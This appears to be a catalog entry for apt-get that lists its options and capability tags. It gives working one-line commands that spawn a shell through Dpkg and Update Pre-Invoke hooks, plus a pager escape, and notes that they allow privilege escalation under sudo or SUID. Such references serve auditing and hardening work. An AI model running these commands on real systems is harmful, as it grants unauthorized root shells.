APT package manager that can execute arbitrary commands via dpkg pre-invoke hooks or update pre-invoke.
apt-get {y} {install} {c} {o} 📎 y 📎 install 📎 c 📎 o apt-get {y} {install} {c} {o}Sandbox: execFile · Timeout: 60s
security.execution.command security.privilege-escalation.shell system.package.install | Name | Type | Required | Default | Description | Aliases |
|---|---|---|---|---|---|
y | string | No | - | Assume yes to prompts | -y |
install | string | No | - | Install packages | install |
c | file | No | - | Config file | -c |
o | string | No | - | Set an arbitrary config option | -o |
Inputs
system.package.name Package name to install
Outputs
process.output Command execution output
process_spawnfilesystem_write Produces
process.outputConsumes
system.package.name| Resource | Value |
|---|---|
| CPU | low |
| Memory | 32 MB |
| Network | medium |
| Disk I/O | medium |
Spawn shell via Dpkg Pre-Invoke config
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' >/path/to/temp-file
apt-get -y install -c /path/to/temp-file slSpawn shell via Update Pre-Invoke option
apt-get update -o APT::Update::Pre-Invoke::=/bin/shRead changelogs via less pager
apt-get changelog aptapt-get is the command-line package manager for Debian-based systems. It can be abused to execute arbitrary commands via Dpkg pre-invoke hooks or update pre-invoke options when used with sudo or SUID.